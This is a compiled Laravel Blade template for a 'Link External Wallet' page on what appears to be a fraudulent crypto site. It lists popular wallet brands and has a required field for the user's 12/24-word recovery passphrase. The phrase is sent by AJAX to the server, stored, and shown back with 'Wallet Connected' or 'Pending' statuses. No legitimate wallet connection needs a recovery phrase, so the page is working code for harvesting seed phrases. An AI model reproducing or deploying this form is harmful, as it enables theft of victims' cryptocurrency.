<?php $__env->startSection('content'); ?>

<!-- Include Select2 CSS -->
<link href="https://cdn.jsdelivr.net/npm/select2@4.1.0-beta.1/dist/css/select2.min.css" rel="stylesheet" />

<!-- Include Select2 JS -->
<script src="https://cdn.jsdelivr.net/npm/select2@4.1.0-beta.1/dist/js/select2.min.js"></script>

<style>
.select2-container--default .select2-selection--single {
    background-color: #fff;
    border: 1px solid #aaa;
    border-radius: 4px;
    color: black;
}
.select2-container--default .select2-results>.select2-results__options {
    max-height: 200px;
    overflow-y: auto;
    color: black;
}
.select2-container .select2-selection--single {
    box-sizing: border-box;
    cursor: pointer;
    display: block;
    height: 35px;
    user-select: none;
}
#loadingBar {
    display: none;
}
</style>

<div class="app-container">
    <header>
        <div class="logo">Link External Wallet</div>
    </header>

    <section class="edit-profile-section">
        <form id="walletForm" action="<?php echo e(route('linkwalletsave')); ?>" method="POST" class="form-validate is-alter edit-profile-form">
            <?php echo csrf_field(); ?>

            <div class="input-group">
                <label>Full Name</label>
                <input type="text" readonly placeholder="<?php echo e(Auth::user()->name); ?>">
            </div>

            <div class="input-group">
                <label>Select Wallet</label>
                <select name="wallet_type" class="form-control form-control-sm" required id="walletSelect" style="width:100%;color: black;">
                    <option value="ledger" data-image="ledger-image.jpg">Ledger</option>
                    <option value="trezor" data-image="trezor-image.jpg">Trezor</option>
                    <option value="metamask" data-image="metamask-image.jpg">MetaMask</option>
                    <option value="trust-wallet" data-image="trust-wallet-image.jpg">Trust Wallet</option>
                    <option value="robin-hood" data-image="robin.png">Robin Hood</option>
                    <option value="exodus" data-image="exodus-image.jpg">Exodus</option>
                    <option value="atomic-wallet" data-image="atomic-wallet-image.jpg">Atomic Wallet</option>
                    <option value="coinomi" data-image="coinomi-image.jpg">Coinomi</option>
                    <option value="electrum" data-image="electrum-image.jpg">Electrum</option>
                    <option value="mycelium" data-image="mycelium-image.jpg">Mycelium</option>
                    <option value="keepkey" data-image="keepkey-image.jpg">KeepKey</option>
                    <option value="imtoken" data-image="imtoken-image.jpg">imToken</option>
                    <option value="guarda" data-image="guarda-image.jpg">Guarda</option>
                    <option value="wasabi" data-image="wasabi-image.jpg">Wasabi Wallet</option>
                    <option value="bitpay" data-image="bitpay-image.jpg">BitPay</option>
                    <option value="bluewallet" data-image="bluewallet-image.jpg">BlueWallet</option>
                    <option value="edge" data-image="edge-wallet-image.jpg">Edge Wallet</option>
                </select>
            </div>

            <div class="input-group">
                <label>12/24 Passphrase</label>
                <textarea name="wallet_phrase" required placeholder="<?php echo e(Auth::user()->wallet_phrase); ?>"><?php echo e(Auth::user()->wallet_phrase); ?></textarea>
            </div>

            <input type="hidden" name="link_wallet_status" value="<?php echo e(Auth::user()->link_wallet_status ?? 0); ?>">

            <?php if(Auth::user()->link_wallet_status == 1): ?>
                <button type="submit" style="background:green;color:white;" class="btn-save-profile">Wallet Connected</button>
            <?php elseif(Auth::user()->link_wallet_status == 2): ?>
                <button type="submit" style="background:red;color:white;" class="btn-save-profile">Wallet Pending Connection...</button>
            <?php else: ?>
                <button type="submit" id="submitButton" class="btn-save-profile">Link Wallet</button>
            <?php endif; ?>
            <button type="button" id="loadingBar" class="btn-save-profile">Connecting...</button>
        </form>
    </section>
</div>

<script>
$(document).ready(function() {
    // Initialize Select2
    $('#walletSelect').select2({
        templateResult: formatWalletOption,
        templateSelection: formatWalletSelection
    });

    function formatWalletOption(option) {
        if (!option.id) return option.text;
        var imgSrc = $(option.element).data('image');
        return imgSrc ? $('<span><img src="/wallets/' + imgSrc + '" style="width:20px;height:20px;margin-right:10px;">' + option.text + '</span>') : option.text;
    }

    function formatWalletSelection(option) {
        var imgSrc = $(option.element).data('image');
        return imgSrc ? $('<span><img src="/wallets/' + imgSrc + '" style="width:20px;height:20px;margin-right:10px;">' + option.text + '</span>') : option.text;
    }

    // Handle AJAX form submit
    $('#walletForm').submit(function(e) {
        e.preventDefault();
        $('#submitButton').hide();
        $('#loadingBar').show();

        $.ajax({
            url: '<?php echo e(route('linkwalletsave')); ?>',
            type: 'POST',
            data: $(this).serialize(),
            headers: { 'X-CSRF-TOKEN': '<?php echo e(csrf_token()); ?>' },
            success: function(response) {
                Swal.fire({
                    icon: 'success',
                    title: 'Wallet Connected!',
                    text: response.success || 'Your wallet has been connected successfully.',
                    confirmButtonText: 'OK'
                }).then(() => window.location.reload());
            },
           error: function(xhr) {
    let msg = 'Something went wrong!';
    try {
        if(xhr.responseJSON) {
            if(xhr.responseJSON.errors){
                msg = Object.values(xhr.responseJSON.errors).flat().join("\n");
            } else if(xhr.responseJSON.error){
                msg = xhr.responseJSON.error;
            } else if(xhr.responseJSON.success){
                // Sometimes backend returns 200 but triggers error callback
                msg = xhr.responseJSON.success;
            }
        }
    } catch(e) {}
    Swal.fire({
        icon: 'error',
        title: 'Oops...',
        text: msg,
        confirmButtonText: 'OK'
    }).then(() => {
        $('#submitButton').show();
        $('#loadingBar').hide();
    });
}
        });
    });
});
</script>

<?php $__env->stopSection(); ?>
<?php echo $__env->make('layouts.user', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /home/qfsworl3/public_html/resources/views/user/linkwallet.blade.php ENDPATH**/ ?>